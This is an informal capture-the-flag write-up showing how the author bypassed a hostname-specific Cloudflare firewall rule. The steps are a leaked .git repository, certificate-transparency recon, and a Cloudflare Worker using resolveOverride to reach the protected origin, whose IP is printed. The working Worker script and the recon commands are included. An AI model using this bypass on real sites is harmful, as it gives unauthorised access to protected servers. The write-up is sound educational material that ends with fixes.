Netapp

Bitskrieg CTFby smothy

Netapp - Web

Points: 500 | Flag: BITSCTF{3v3n_41_15_84d_47_c0nf19u24710n} | Solved by: Smothy @ 0xN1umb

im in

what we got

challenge url: https://netapp.bitskrieg.in - basic service portal, three services listed:

  • Web Portal - ONLINE
  • Auth Gateway - ONLINE
  • flag-service - INTERNAL

description: "We think our internal services are protected because we use netapp"

narrator voice: they were not protected

recon - the git leak

first thing i noticed - .git/ is exposed on the portal. dumped the objects and found terraform configs. this is where it gets spicy:

cloudflare firewall rule (bitsctf-2026-vpn-only.tf):

hcl
resource "cloudflare_filter" "vpn_access_filter" {
  zone_id     = data.cloudflare_zone.example.id
  description = "Filter for allowing only VPN access to bitsctf-2026.hvijay.dev"
  body        = "(http.host eq \"bitsctf-2026.hvijay.dev\") and (ip.src ne 0.0.0.0)"
}

resource "cloudflare_firewall_rule" "vpn_access_rule" {
  zone_id     = data.cloudflare_zone.example.id
  description = "Allow only VPN Access."
  action      = "block"
  priority    = 1
  filter      = cloudflare_filter.vpn_access_filter.id
}

aws security group (aws-security-group.tf):

hcl
locals {
  cloudflare_ips = [
    "173.245.48.0/20", "103.21.244.0/22", "103.22.200.0/22",
    "103.31.4.0/22", "141.101.64.0/18", "108.162.192.0/18",
    "190.93.240.0/20", "188.114.96.0/20", "197.234.240.0/22",
    "198.41.128.0/17", "162.158.0.0/15", "104.16.0.0/13",
    "104.24.0.0/14", "172.64.0.0/13", "131.0.72.0/22"
  ]
}
# EC2 instance IP - 3.208.18.209
# Port 80/443 from CF IPs only, Port 22 from 0.0.0.0/0

so two layers of protection:

  1. CF firewall blocks ALL requests to bitsctf-2026.hvijay.dev - the filter ip.src ne 0.0.0.0 is always true since no real traffic has source IP 0.0.0.0
  2. AWS SG only allows cloudflare proxy IPs on ports 80/443 - can't just hit the origin directly

the flag-service lives behind bitsctf-2026.hvijay.dev which is completely walled off. cool cool cool.

the rabbit holes

ngl i spent an unreasonable amount of time on this. here's the graveyard of failed attempts:

attemptresult
HTTP request smuggling (CL.TE, TE.CL, H2.CL, TE.0)CF blocks all variants
Host header tricks (trailing dot, port, case)CF normalizes everything
CF Workers Host header override in fetch()silently ignored lmao
Worker TCP sockets to originegress IPs not in CF proxy ranges, SG blocks
CF Origin Rules Host Header OverrideEnterprise only
CF for SaaS / Custom Hostnamesfree plan = no quota
Cron trigger Worker subrequestsip.src still not 0.0.0.0
Domain fronting (SNI != Host)CF routes by Host header regardless
CNAME cross-zone to targetError 1014 cross-user banned
Direct IP from VPSSG blocks non-CF IPs
X-Forwarded-Host / X-Original-Hostnginx ignores them
SSH to origin (port 22 is open)pubkey auth only, no keys
ffuf directory bruteforce on portaleverything 404

25+ approaches tried. i was lowkey losing it fr

frustration

the breakthrough

step 1: certificate transparency

pulled CT logs from crt.sh for hvijay.dev:

bash
curl -s "https://crt.sh/?q=hvijay.dev&output=json" | python3 -c "..."
*.hvijay.dev bitsctf-2026.hvijay.dev ctftestthing.hvijay.dev www.hvijay.dev hvijay.dev

wait. www.hvijay.dev resolves to the same cloudflare IPs. it's in the SAME zone. and the firewall rule only blocks the exact hostname bitsctf-2026.hvijay.dev. any other subdomain in the zone passes right through!

$ dig +short www.hvijay.dev A 104.21.76.231 172.67.202.17 $ dig +short bitsctf-2026.hvijay.dev A 104.21.76.231 172.67.202.17

same IPs. same zone. different firewall treatment.

step 2: cloudflare workers resolveOverride

cf workers have this cf.resolveOverride option in fetch() - it lets you resolve DNS to a DIFFERENT hostname within the same zone. so you can decouple:

  • the URL hostname (what the firewall checks via http.host)
  • the DNS resolution (which origin server you actually hit)

deployed a worker on my own CF zone with this:

javascript
export default {
  async fetch(request) {
    const r = await fetch("https://www.hvijay.dev/", {
      cf: { resolveOverride: "bitsctf-2026.hvijay.dev" },
      headers: { "User-Agent": "Mozilla/5.0" }
    });
    return new Response(await r.text(), {
      headers: { "content-type": "text/plain" }
    });
  }
};

why this works

Worker fetch("https://www.hvijay.dev/") | v CF Edge evaluates hvijay.dev zone firewall: http.host = "www.hvijay.dev" filter: http.host eq "bitsctf-2026.hvijay.dev" --> FALSE --> FIREWALL BYPASSED | v resolveOverride: "bitsctf-2026.hvijay.dev" --> DNS resolves to origin 3.208.18.209 --> CF connects from CF proxy IP (SG allows!) | v Origin nginx receives request: Host: www.hvijay.dev --> nginx has wildcard server_name *.hvijay.dev --> serves flag-service | v BITSCTF{3v3n_41_15_84d_47_c0nf19u24710n}
bash
$ curl -s "https://netapp-proxy.merzougrayane5.workers.dev/?a=bypass"
{
  "www_resolve": {
    "status": 200,
    "body": "BITSCTF{3v3n_41_15_84d_47_c0nf19u24710n}"
  },
  "apex_resolve": {
    "status": 200,
    "body": "BITSCTF{3v3n_41_15_84d_47_c0nf19u24710n}"
  }
}

both www.hvijay.dev and hvijay.dev apex work. the nginx on the origin serves the flag-service for any *.hvijay.dev hostname, not just the blocked one.

flag

BITSCTF{3v3n_41_15_84d_47_c0nf19u24710n}

translates to: "even AI is bad at configuration"

the irony is not lost on me lmaooo

takeaways

two misconfigurations made this possible:

  1. CF firewall rule too specific - exact match on one hostname instead of wildcard/regex for *.hvijay.dev. should've been (http.host contains "hvijay.dev") or used a wildcard pattern

  2. nginx server_name too broad - wildcard *.hvijay.dev or default_server on the flag-service vhost. should've been server_name bitsctf-2026.hvijay.dev; only, with a separate default server returning 444

the resolveOverride feature is lowkey powerful for this kind of thing - it decouples hostname (firewall evaluation) from DNS resolution (which origin you hit). as long as both hostnames are in the same CF zone, you can mix and match.

500 points well earned tbh. this one was a marathon not a sprint.

done


smothy out ✌️